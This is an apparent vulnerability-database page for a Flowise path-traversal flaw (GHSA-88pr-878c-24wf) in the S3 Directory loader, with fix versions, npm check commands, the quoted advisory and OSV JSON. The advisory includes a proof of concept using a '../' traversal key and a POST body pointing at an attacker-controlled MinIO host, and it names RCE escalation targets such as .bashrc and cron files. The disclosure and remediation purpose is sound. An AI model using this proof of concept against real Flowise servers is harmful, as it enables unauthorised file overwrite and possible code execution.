GHSA-88pr-878c-24wf: Flowise Authenticated Arbitrary File Write Vulnerability

HIGH
CWE-73 CWE-22
Published
Advisory Summary

GHSA-88pr-878c-24wf is a HIGH authenticated arbitrary file write vulnerability (CWE-73: External Control of File Name or Path) affecting Flowise libraries in the npm ecosystem. The issue involves authenticated arbitrary file write in the `s3 directory` document loader via unsanitized s3 object keys. Remediation is available by upgrading affected packages to version 3.1.3.

GHSA-88pr-878c-24wf at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-88pr-878c-24wf
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-88pr-878c-24wf

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise-components fixed: 3.1.3
npm install flowise-components@3.1.3
flowise fixed: 3.1.3
npm install flowise@3.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls flowise-components

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-88pr-878c-24wf, inspect your project dependencies using npm:

npm ls flowise-components

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.3), your application is affected.

Note: The npm ls flowise-components command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Flowise on current `main` allows an authenticated user with `documentStores:preview-process` permission to trigger the `S3 Directory` document loader with attacker-controlled S3 object keys. The loader joins each returned S3 key with a temporary directory using `path.join(tempDir, key)` and writes the object bytes to disk **without validating traversal sequences such as `../`**. Cleanup later removes only the original temporary directory, so files written outside that directory persist on the host filesystem. This yields **arbitrary file write** with the privileges of the Flowise server process. A related variant exists in the `S3File` loader when `fileProcessingMethod = unstructured` (same root cause; its cleanup behavior turns it into a mixed arbitrary write/delete/DoS primitive). ## Affected component - `packages/components/nodes/documentloaders/S3Directory/S3Directory.ts` - line **191**: `filePath = path.join(tempDir, key)` (unsanitized) - line **213**: recursive `mkdirSync` creates parent path - line **216**: `writeFileSync` writes attacker-controlled bytes - line **289**: cleanup only removes the original `tempDir`, so escaped files remain on disk - Related (variant): `packages/components/nodes/documentloaders/S3File/S3File.ts` (lines 756, 780, 782, 817 — arbitrary write + recursive dirname delete) ## Reachability - Routes exposed: `packages/server/src/routes/documentstore/index.ts:41,45` (`/api/v1/document-store/loader/preview`, `/api/v1/document-store/loader/process/:loaderId`) - Both require `documentStores:preview-process` - `packages/server/src/services/documentstore/index.ts:588` passes `data.loaderConfig` straight to the loader node **with no path sanitization** - `S3Directory` accepts a custom `serverUrl`, so the attacker does **not need access to an existing trusted AWS bucket** — they can point Flowise at a local MinIO or any S3-compatible endpoint they control ## Impact - Authenticated arbitrary file write to any path writable by the Flowise process - Destructive overwrite of application data, secrets, or configuration - Deployment-dependent lift to RCE if the service account can modify executable, startup, or interpreter-loaded files (e.g. `.bashrc`, systemd units, cron files, `require.resolve` targets, `package.json` postinstall scripts). This is not guaranteed product-wide. ## Preconditions - Flowise instance running (HTTP server mode) - Attacker has a workspace account with the `documentStores:preview-process` role - No additional infrastructure required — `serverUrl` can point to attacker-controlled S3-compatible endpoint ## Proof of Concept 1. Authenticate as a user with `documentStores:preview-process` 2. Run an S3-compatible server the attacker controls (e.g. MinIO) 3. Create an object with a traversal key such as: `../../../../tmp/flowise-poc.txt` 4. Trigger: POST /api/v1/document-store/loader/preview (or /api/v1/document-store/loader/process/:loaderId) body: { "loaderId": "s3Directory", "loaderConfig": { "serverUrl": "http://attacker-minio:9000", "bucketName": "attacker-bucket", "prefix": "", "credential": "" } } 5. Observe that Flowise writes the object bytes to the escaped path 6. Observe that cleanup removes only the original temp directory; the escaped file persists Local reproduction confirmed: writing a key containing `../../escape-target/poc.txt` from a nested temp root created the file outside the temp directory, and the cleanup removed only `tempDir`. ## Root Cause The loader trusts S3 object keys as safe local relative paths. It should canonicalize the destination with `path.resolve(...)`, verify the resolved path remains within the intended temp directory, and reject traversal or absolute-path patterns before any directory creation or file write. ## Suggested Remediation The repository already has shared path validators that are not used here: - `packages/components/src/validator.ts:35` defines traversal checks - `packages/components/src/validator.ts:295` defines `sanitizeFileName` Recommended fix: 1. Replace `path.join(tempDir, key)` with a resolve-and-verify flow 2. Reject any resolved path outside `tempDir` 3. Prefer a sanitized basename if directory structure is not required 4. Apply the same fix to the `S3File` loader (`fileProcessingMethod = unstructured` branch)

GHSA-88pr-878c-24wf Affected Flowise Versions

2 component(s)
Fixed Versions:
3.1.3
Product / Package Ecosystem Affected Versions Fixed Version
flowise-components
npm
< 3.1.3
3.1.3
flowise
npm
< 3.1.3
3.1.3

References

Frequently Asked Questions

What is GHSA-88pr-878c-24wf?
GHSA-88pr-878c-24wf is a security vulnerability in Flowise involving Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys under CWE-73: External Control of File Name or Path.
Which Flowise versions are affected?
Affected versions include releases prior to 3.1.3 across affected packages: flowise-components, flowise.
What version fixes GHSA-88pr-878c-24wf?
Upgrading to 3.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise-components affected?
Yes, flowise-components is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
What CWE is associated with GHSA-88pr-878c-24wf?
GHSA-88pr-878c-24wf is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check npm dependencies for GHSA-88pr-878c-24wf?
Run the dependency tree command: 'npm ls flowise-components'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-88pr-878c-24wf",
  "modified" : "2026-08-04T17:43:45Z",
  "published" : "2026-08-04T17:43:45Z",
  "aliases" : [ ],
  "summary" : "Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys                                                                                                  ",
  "details" : "## Summary                                                                                                                                                                                                   \n                                          \n  Flowise on current `main` allows an authenticated user with\n  `documentStores:preview-process` permission to trigger the `S3 Directory`                                                                                                                                    \n  document loader with attacker-controlled S3 object keys. The loader joins\n  each returned S3 key with a temporary directory using `path.join(tempDir, key)`                                                                                                                              \n  and writes the object bytes to disk **without validating traversal sequences\n  such as `../`**. Cleanup later removes only the original temporary directory,\n  so files written outside that directory persist on the host filesystem.                                                                                                                                      \n                                                                                                                                                                                                               \n  This yields **arbitrary file write** with the privileges of the Flowise                                                                                                                                      \n  server process.                                                                                                                                                                                              \n                                                                                                                                                                                                               \n  A related variant exists in the `S3File` loader when                                                                                                                                                         \n  `fileProcessingMethod = unstructured` (same root cause; its cleanup behavior                                                                                                                                 \n  turns it into a mixed arbitrary write/delete/DoS primitive).                                                                                                                                     \n                                                                                                                                                                                                               \n  ## Affected component                                                                                                                                                                                        \n                                                                                                                                                                                                               \n  - `packages/components/nodes/documentloaders/S3Directory/S3Directory.ts`\n    - line **191**: `filePath = path.join(tempDir, key)` (unsanitized)                                                                                                                                         \n    - line **213**: recursive `mkdirSync` creates parent path                                                                                                                                                  \n    - line **216**: `writeFileSync` writes attacker-controlled bytes                                                                                                                                           \n    - line **289**: cleanup only removes the original `tempDir`, so escaped                                                                                                                                    \n      files remain on disk                                                                                                                                                                                     \n  - Related (variant):                                                                                                                                                                                         \n    `packages/components/nodes/documentloaders/S3File/S3File.ts`                                                                                                                                               \n    (lines 756, 780, 782, 817 — arbitrary write + recursive dirname delete)\n                                                                                                                                                                                                               \n  ## Reachability                                                                                                                                                                                              \n                                                                                                                                                                                                               \n  - Routes exposed:                                                                                                                                                                                            \n    `packages/server/src/routes/documentstore/index.ts:41,45`                                                                                                                                                  \n    (`/api/v1/document-store/loader/preview`,                                                                                                                                                                  \n     `/api/v1/document-store/loader/process/:loaderId`)                                                                                                                                                        \n  - Both require `documentStores:preview-process`                                                                                                                                                              \n  - `packages/server/src/services/documentstore/index.ts:588` passes                                                                                                                                           \n    `data.loaderConfig` straight to the loader node **with no path                                                                                                                                             \n    sanitization**                                                                                                                                                                                             \n  - `S3Directory` accepts a custom `serverUrl`, so the attacker does **not\n    need access to an existing trusted AWS bucket** — they can point Flowise                                                                                                                                   \n    at a local MinIO or any S3-compatible endpoint they control                                                                                                                                                \n                                                                                                                                                                                                               \n  ## Impact                                                                                                                                                                                                    \n                                                                                                                                                                                                               \n  - Authenticated arbitrary file write to any path writable by the Flowise                                                                                                                                     \n    process                                                                                                                                                                                                    \n  - Destructive overwrite of application data, secrets, or configuration                                                                                                                                       \n  - Deployment-dependent lift to RCE if the service account can modify                                                                                                                                         \n    executable, startup, or interpreter-loaded files                                                                                                                                                           \n    (e.g. `.bashrc`, systemd units, cron files, `require.resolve` targets,                                                                                                                                     \n    `package.json` postinstall scripts). This is not guaranteed                                                                                                                                                \n    product-wide.                         \n                                                                                                                                                                                                               \n  ## Preconditions                                                                                                                                                                                             \n                                                                                                                                                                                                               \n  - Flowise instance running (HTTP server mode)                                                                                                                                                                \n  - Attacker has a workspace account with the                                                                                                                                                                  \n    `documentStores:preview-process` role                                                                                                                                                                      \n  - No additional infrastructure required — `serverUrl` can point to                                                                                                                                           \n    attacker-controlled S3-compatible endpoint                                                                                                                                                                 \n                                                                                                                                                                                                               \n  ## Proof of Concept                                                                                                                                                                                          \n                                                             \n  1. Authenticate as a user with `documentStores:preview-process`\n  2. Run an S3-compatible server the attacker controls (e.g. MinIO)                                                                                                                                            \n  3. Create an object with a traversal key such as:                                                                                                                                                            \n     `../../../../tmp/flowise-poc.txt`                                                                                                                                                                         \n  4. Trigger:                                                                                                                                                                                                  \n     POST /api/v1/document-store/loader/preview                                                                                                                                                                \n     (or /api/v1/document-store/loader/process/:loaderId)    \n     body: {                                                                                                                                                                                                   \n       \"loaderId\": \"s3Directory\",         \n       \"loaderConfig\": {                                                                                                                                                                                       \n         \"serverUrl\": \"http://attacker-minio:9000\",                                                                                                                                                            \n         \"bucketName\": \"attacker-bucket\",                                                                                                                                                                      \n         \"prefix\": \"\",                                                                                                                                                                                         \n         \"credential\": \"\"                                    \n       }                                                                                                                                                                                                       \n     }                                                       \n  5. Observe that Flowise writes the object bytes to the escaped path                                                                                                                                          \n  6. Observe that cleanup removes only the original temp directory; the\n  escaped file persists                                                                                                                                                                                        \n                                                                                                                                                                                                               \n  Local reproduction confirmed: writing a key containing     \n  `../../escape-target/poc.txt` from a nested temp root created the file                                                                                                                                       \n  outside the temp directory, and the cleanup removed only `tempDir`.   \n                                                                                                                                                                                                               \n  ## Root Cause                                                                                                                                                                                                \n                                                             \n  The loader trusts S3 object keys as safe local relative paths. It should                                                                                                                                     \n  canonicalize the destination with `path.resolve(...)`, verify the resolved                                                                                                                                   \n  path remains within the intended temp directory, and reject traversal or                                                                                                                                     \n  absolute-path patterns before any directory creation or file write.                                                                                                                                          \n                                                                                                                                                                                                               \n  ## Suggested Remediation                                                                                                                                                                                     \n                                                                                                                                                                                                               \n  The repository already has shared path validators that are not used here:                                                                                                                                    \n                                                                                                                                                                                                               \n  - `packages/components/src/validator.ts:35` defines traversal checks\n  - `packages/components/src/validator.ts:295` defines `sanitizeFileName`                                                                                                                                      \n                                                                                                                                                                                                               \n  Recommended fix:                                                                                                                                                                                             \n                                                                                                                                                                                                               \n  1. Replace `path.join(tempDir, key)` with a resolve-and-verify flow                                                                                                                                          \n  2. Reject any resolved path outside `tempDir`                                                                                                                                                                \n  3. Prefer a sanitized basename if directory structure is not required\n  4. Apply the same fix to the `S3File` loader (`fileProcessingMethod = unstructured` branch)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise-components"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-88pr-878c-24wf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/pull/6549"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/571b5d6218b1c129588ac625c8f20e30905a67cb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T17:43:45Z",
    "nvd_published_at" : null
  }
}